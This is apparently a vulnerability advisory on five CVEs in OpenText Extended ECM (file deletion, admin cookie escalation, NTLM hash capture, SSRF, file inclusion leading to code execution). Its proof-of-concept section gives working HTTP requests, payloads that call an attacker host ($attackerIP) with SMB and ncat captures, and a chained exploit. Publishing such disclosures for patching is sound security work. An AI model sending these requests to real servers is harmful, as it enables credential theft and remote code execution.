Multiple post-authentication vulnerabilities including RCE (OpenText™ Extended ECM)

Vendor description

"OpenText™ Extended ECM is an enterprise CMS platform that securely governs the information lifecycle by integrating with leading enterprise applications, such as SAP®, Microsoft® 365, Salesforce and SAP SuccessFactors®. Bringing content and processes together, Extended ECM provides access to information when and where it’s needed, improves decision-making and drives operational effectiveness."

Source: https://www.opentext.com/products/extended-ecm

Business recommendation

The vendor provides a patch which should be installed immediately.

Vulnerability Overview/Description

1) Deletion of arbitrary files (CVE-2022-45924)

The endpoint itemtemplate.createtemplate2 allows a low privilege user to delete arbitrary files on the server's local filesystem.

2) Privilege escalation due to logic error in cookie creation  (CVE-2022-45922)

The request handler for a user accessible function sets a valid AdminPwd cookie that allows access to unauthorized endpoints without knowing the password.

3) xmlExport multiple vulnerabilities (CVE-2022-45925)

3.1) Information disclosure

The action `xmlexport` accepts the parameter requestContext. If this parameter is present, the response does include most of the HTTP headers sent to the server and some of the CGI variables like remote_addr and server_name.

3.2) Capture of NTLM hashes

The action xmlexport accepts the parameter transform in combination with stylesheet. The stylesheet parameter can be a nodeID or a filepath. If a filepath is specified, the ContentServer tries to open the file. As absolute paths are allowed it is possible to provide a network share to force the ContentServer to open a connection to the network share. This allows an attacker to capture the NTLM Hash of the user running the ContentServer.

4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)

The endpoint notify.localizeEmailTemplate does allow a low privilege user to evaluate webreports. This can be used to perform a Server Side Request Forgery (SSRF) attack, with nearly full control of the actual request.

5) Local File Inclusion allows Oscript execution (CVE-2022-45928)

Multiple endpoints allow the user to pass the parameter htmlFile, which is included in the HTML output rendering pipeline of the request. As the Content Server evaluates and executes Oscript code in HTML files, it is possible for an attacker to execute Oscript code. The Oscript scripting language allows the attacker for example to manipulate files on the filesystem, create new network connections or execute OS system commands.  

Proof of concept

1) Deletion of arbitrary files (CVE-2022-45924)

As a first step the user has to create a new Customer View Template object via /cs.exe?func=ll&objAction=create&objtype=844&nextURL=foo to get a valid cacheID. With the acquired cacheID the following request can be used to delete a file. The parameter DefinitionFile controls which file should be deleted.

http:// opentext-dev/OTCS/cs.exe?func=itemtemplate.createtemplate2&objType=844&parentId=2000&acheID=730440157&DefinitionFile=C:/temp/poc-del.txt

2) Privilege escalation due to logic error in cookie creation (CVE-2022-45922)

Sending the following request returns a new valid AdminPwd cookie.

GET /OTCS/cs.exe?func=ll.KeepAliveSession HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LLCookie=jJNV8mVVJBigP4Z7UjCFbFq6hNhoMRRRaSKdXS%2FNpPRrwcQVpeRWrUL8jamKMqNoCgwChbCjzK1wRtu6FNPiiGzDU1wvzuWfG0hP0WM7GAGEuooq3WZNaH8gWxPYmj7uSRp7OregZ%2BSz68TsPOCN9bFD8m9L2gNyR9%2FaB%2Bsqo5t3BrPWk71Xxg%3D%3D; AdminPwd=FOOBAR
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=UTF-8
Server: Microsoft-IIS/10.0
Set-Cookie: LLCookie=7X%2BfmttVXssmR2fGiuA4%2BeDFI4%2FotYL4o%2BkpxBTZUWrlHqwvH%2BIg3BCPhuBhD%2B567K288n7PJNeZQkk75EmxtndEpU3chq3cFppnAQ7OAYMX%2Bvl09QntFKi9E%2BWekSdNU866093uXCT4IqYR1ofVfkoLKFwTiUf%2BhgrVKaB8aoLOLlBU5RIrNA%3D%3D; path=/OTCS/; httponly
Set-Cookie: AdminPwd=oq6SNA9Db6yUl0vP1ucJkLuRhIYbvO3YdIujUbLLdzGMsygouzJlyuhDLTriq4C1XrMHxWYWkCeuxoZevX0%2BYyFMEevzZVXI6Fe82YBI3HnKu2Stq50vZ8bhPPQeBbXiW%2FRwgp8RHukHgnEWUq3axpUP5OHWCJj9V3Pj5%2FNNqJKie0gUv055KavSIj80Id4dXDiHVu%2FI6IXMhEb1Tm4EVLE1rjxMnpmZILTKds%2FkabH%2FanPx5Jl3YL%2BBkX0PiPe54guaWQj2ReTr1SW7Beomoriq2FrW%2BWK91OtMy%2BbrVTfgEZSRdRNIkA%3D%3D; path=/OTCS/; httponly
X-Powered-By: ASP.NET
Date: Sat, 01 Oct 2022 17:57:54 GMT
Connection: close
Content-Length: 221

{"errMsg":"","ok":true,"sessionInactivity":1620000,"sessionLogoutURL":"?func=ll.DoLogout&secureRequestToken=STWVlmadtchZfgpCevUaWz%2FG%2BaDWVMAmJIByhcw6J3FRBkfQdUEyakxuWBKKZIfkujPUOp2jURQ%3D","sessionReactionTime":180000}

3) xmlExport multiple vulnerabilities (CVE-2022-45925)

3.1) Information disclosure

Sending the following request reveals sensitive information about the request:

GET /OTCS//cs.exe?func=ll&objAction=xmlexport&requestContext=T&objId=2004 HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LLCookie=Ztn...
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Content-Type: application/xml
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Sat, 01 Oct 2022 16:13:40 GMT
Connection: close
Content-Length: 12581

<?xml version="1.0" encoding="UTF-8"?>
<livelink Acls='false' appversion='16.2.0' AttributeInfo='false' CallbackHandlerName='{''}' ContentInline='false' DoingImport='false' ExtUserInfo='false' FollowAliases='false' ForImport='false' HandlerName='XmlExport' NodeInfo='false' Permissions='false' Schema='false' Scope='one' src='XmlExport'>
  <context>
    <user deleted='0' groupid='999' groupname='[Content Server Administration]' groupownerid='1000' grouptype='11' id='1000' name='Admin' ownerid='1000' spaceid='0' type='0' userprivileges='16777215'/>
    <cgi auth_type='' content_length='0' content_type='' path_info='' query_string='func=ll&objAction=xmlexport&requestContext=T&objId=2004' remote_addr='$IP' remote_host='$IP' remote_user='' request_method='GET' script_name='/OTCS/cs.exe' server_name='opentext-dev' server_port='80' server_protocol='HTTP/1.1'/>
    <http>
      <header name='HTTP_ACCEPT' value='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8'/>
      <header name='HTTP_ACCEPT_ENCODING' value='gzip, deflate'/>
      <header name='HTTP_ACCEPT_LANGUAGE' value='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3'/>
      <header name='HTTP_CONNECTION' value='close'/>
      <header name='HTTP_HOST' value='opentext-dev'/>
      <header name='HTTP_UPGRADE_INSECURE_REQUESTS' value='1'/>
      <header name='HTTP_USER_AGENT' value='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0'/>
    </http>
  </context>

3.2) Capture of NTLM hashes

Sending the following request with a remote path as value for the stylesheet parameter initiates a SMB connection to the attacker's machine:

GET /OTCS//cs.exe?func=ll&&objId=50469&objAction=xmlexport&transform=T&stylesheet=//$attackerIP/msg.txt

$ sudo impacket-smbserver test /tmp -smb2support
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection ($opentextIP,59639)
[*] AUTHENTICATE_MESSAGE (\,DESKTOP-XXX)
[*] User DESKTOP-XXX\ authenticated successfully
[*] :::00::aaaaaaaaaaaaaaaa

Important side effect:

Specifying an existing file for the stylesheet parameter , which is not a valid stylesheet, results in an error. As this error skips the cleanup code the temporary file $OTCS_HOME\temp\xml\XslOutput_[digit]_[digit] is not removed. The content of this file is partially controlled by the attacker, as it contains the filename of the exported object. This could be further exploited as documented in vulnerability 5).

<?xml version="1.0" encoding="UTF-8"?>
  
    
    **OBJECT NAME** 

4) Evaluate webreports via notify.localizeEmailTemplate (CVE-2022-45926)

Sending the following request with the webreport source in the msgBody parameter allows the user to evaluate a webreport.

POST /OTCS/cs.exe HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Cookie: LLCookie=zBH4...
Origin: http:// opentext-dev
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134

func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>Username: [LL_REPTAG_USERNAME /]<@/urlencode>&fetch=foobar

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/plain ;charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
Date: Sat, 01 Oct 2022 18:33:29 GMT
Connection: close
Content-Length: 19

Username: Admin

The tag LL_WEBREPORT_RESTCLIENT can be used to perform a Server Side Request Forgery (SSRF) attack, with nearly full control of the actual request.

POST /OTCS/cs.exe HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: close
Cookie: LLCookie=hRj
Origin: http:// opentext-dev
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 347

func=notify.localizeEmailTemplate&language=_en_US&arg=5&msgBody=<@urlencode>	
[LL_WEBREPORT_RESTCLIENT @URI:"http:// $attackerIP/" @METHOD:GET @RESPONSE:resp @HOST:$attackerIP @PORT:80 /]
<@/urlencode>&fetch=<@urlencode>LL_WEB [ /] [LL_REPTAG_EOL /] LL_WEB_END<@/urlencode>

$ ncat -v -l 80
Ncat: Version 7.92 ( https:// nmap.org/ncat )
Ncat: Listening on :::80
Ncat: Listening on 0.0.0.0:80
Ncat: Connection from $IP.
Ncat: Connection from $IP:59856.
GET http:// $attackerIP/ HTTP/1.1
Connection: Keep-Alive
Host: $attackerIP
User-Agent: Poco
Accept: */*  

Other dangerous tags could be RUNSHELL, LL_FETCHURL and LL_WEBREPORT_CALL

The tag LL_WEBREPORT_RESTCLIENT is disabled by default in version 22.1.

5) Local File Inclusion allows Oscript execution (CVE-2022-45928)

One way to create a file on the server's filesystem with the desired `Oscript` code, is to use the vulnerability 3.2 and its side effect:

• Create a file
• Set the filename to the Oscript code, which should be executed (e.g.:   `fArgs content: `.fArgs` `)
• Run the xmlExport action with an invalid stylesheet (should be done   multiple times to increase the hit change for the LFI)

The temporary file XslOutput_2_3 has the following content:

<?xml version="1.0" encoding="UTF-8"?>
  
    
    fArgs content: `.fArgs`

To include the previously created file and execute its Oscript code, the following request can be used.

GET /OTCS/cs.exe?func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3 HTTP/1.1
Host: opentext-dev
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: LLCookie=gYkU6%2BmrbXPaZ87US9mHOswpXTZTyMujb3DmwyB8QglNf9TnicUFBS2%2BW2xv2rufPoyGb82bn3VuyMwvDckJpuncAOHxuIeTbPce%2B6RSn035HjDkk5b2b0rZyM%2FzbtIquS3bYOetho6kt3RYhvkl2ahLkHvhGtO6KUp%2BMX%2Fe43yTpBcw5g1umg%3D%3D; LLTZCookie=0; BrowseSettings=rm%2BT2O%2F0LEfyVN4tBpAlz8iw6wjD9YgjYihWC2sGyHOayyH0F8hfiQ%3D%3D; AdminPwd=CV6waXr6yPLjlL2OlABJf4ka0kmITRSOHWyZSpzRdfy0SvueX0YM%2B6KFPopV5ebviGckgD6K24tGD7HXiJ18UhvZQBS%2BBYSlBI%2BzI0JCeGSH76MxvN%2BogDT59s6MIHVP4PAqqL1YzQ9cRN4L6eZbdE2hySDTwUQTQlOrSoxJNS28IQMclNUnsgct11cbQgApGWazgFlph4brLk65xEfi%2BN%2FGs9rSEKAehMwc94MvoFZ%2B5LLOurbgZYCLaA0YIWuHIUdppEsBVmQKjYGsjyS%2BNcEvcuuiCm8g6C%2FtRIUl85i%2BGyNeFi1rAA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; tl=public_timeline; Accordion=
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Type: text/html;charset=UTF-8
Server: Microsoft-IIS/10.0
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-UA-Compatible: IE=edge
Set-Cookie: LLCookie=P7RTINkymKF2z1S8RQ6i0mjQKzaOb%2F2KNgFT5C2uBJZCgJ3sZ36Tll6LMvFDy3MC9DpjK00EXcIAROS7BHPtiMQTUqZ%2FVc6UtBXlW1%2FCljp1jDh1%2BUM05PJDhWzz1Xjzqnuw1iyIiCVDRBpgG9ztKGjSYngYLx6663COmbGleiMRgDlyufNcYw%3D%3D; path=/OTCS/; httponly
X-Powered-By: ASP.NET
Date: Sun, 02 Oct 2022 10:37:09 GMT
Connection: close
Content-Length: 5762

<!DOCTYPE html>
<HTML LANG="en-US">
<!-- ..... -->
</HEAD>


<?xml version="1.0" encoding="UTF-8"?>


fArgs content: R<'_ExtendSessionTimeout'=true,'_REQUEST'='llweb','AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','func'='commdirectory.LookFeel','GATEWAY_INTERFACE'='CGI/1.1','htmlFile'='temp/xml/XslOutput_2_3','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip, deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0; BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D; AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D; tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','LLENVIRON_ASSOC'=A<1,?,'AUTH_TYPE'='','CONTENT_LENGTH'='0','CONTENT_TYPE'='','GATEWAY_INTERFACE'='CGI/1.1','HTTP_ACCEPT'='text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8','HTTP_ACCEPT_ENCODING'='gzip, deflate','HTTP_ACCEPT_LANGUAGE'='en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3','HTTP_CONNECTION'='close','HTTP_COOKIE'='LLTZCookie=0; BrowseSettings=uUS1%2FZ5g1c0XS4%2FNRpsSf2m14UItUrVHPWaVbvGjfcio6cpCyC5KPA%3D%3D; AdminPwd=6GxYwSEETjgXlHwOyzNue7sSkSKHieE2XNh7qe6h1MxuNNd3GlbD7NqlcaouTXLJvE84KXliXoS3rv0OEAoPMjLs%2B5navCaRtW32FuEYDhEtcTAetQzTUyEMJk8gtywZrslSilkjG%2FZjMh0S5nNi2MmkzquGi2BsKuKaN3dMGjscqQErAY9aIxAx1r%2FE7Gdsx1Vdo5SdILV2VdgVtjuMP3ul7RBYvHL1OsV4MtPjhB7s%2Flv6TXzrTUMzv3J%2BiVRxmXhxb%2BzFIAu7zE4DckTnGYE3tTP%2Fg1qL0GKrxVuBJbQIaZPyotwqSA%3D%3D; TargetBrowseObjID=0; TargetBrowseObjType=150; LLCookie=gYjACLksaCQXFyPM6bXgZFWxLST0MIVxqrqP9KwByUPbF8bVCKwyShPhoC0iRNqSytsqY1YfoW6i7DE39j7RpfjB4XnTw36lAps80xrs9nDkSqy1rDYqUsdbsHHJFSWCV5IzVVrS%2FuvrWBvv4e0HcYVpbbeXAI4%2BTWhmSWqDIvD68rCVqrrvRQ%3D%3D; tl=public_timeline; Accordion=','HTTP_HOST'='opentext-dev','HTTP_UPGRADE_INSECURE_REQUESTS'='1','HTTP_USER_AGENT'='Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0','HTTPS'='off','HTTPS_KEYSIZE'='','HTTPS_SECRETKEYSIZE'='','HTTPS_SERVER_ISSUER'='','HTTPS_SERVER_SUBJECT'='','PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_METHOD'='GET','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0'>,'LLPARAMS_LIST'=\{\{'func','commdirectory.LookFeel'},{'objid','49259'},{'menutype','375'},{'htmlFile','temp/xml/XslOutput_2_3'}},'LLSYSPARAMS_ASSOC'=A<1,?,'_uploadFilenames'={},'_uploadPath'='C:\\Windows\\TEMP\\'>,'menutype'=375,'objid'=49259,'PATH_INFO'='','PATH_TRANSLATED'='C:\\inetpub\\wwwroot','QUERY_STRING'='func=commdirectory.LookFeel&objid=49259&menutype=375&htmlFile=temp/xml/XslOutput_2_3','REMOTE_ADDR'='$IP','REMOTE_HOST'='$IP','REMOTE_USER'='','REQUEST_ID'='8f325fa0-7d39-42a7-bf8f-486cbcbf1042','REQUEST_METHOD'='GET','REQUEST_PROCESSING_DURATION'='0','SCRIPT_NAME'='/OTCS/cs.exe','SERVER_NAME'='opentext-dev','SERVER_PORT'='80','SERVER_PROTOCOL'='HTTP/1.1','SERVER_SOFTWARE'='Microsoft-IIS/10.0','cdid'=0,'prgCtx'=#323b0f9,'TZOffset'=0>

</HTML>

Vulnerable / tested versions

The following version has been tested:

• 22.1 (16.2.19.1803)

The following versions are vulnerable according to the vendor:

• CVE-2022-45924: 20.4   - 22.3
• CVE-2022-45922: 21.1   - 22.1
• CVE-2022-45925: 16.2.2 - 22.3
• CVE-2022-45926: 20.4   - 22.3
• CVE-2022-45928: 16.2.2 - 22.3

Vendor contact timeline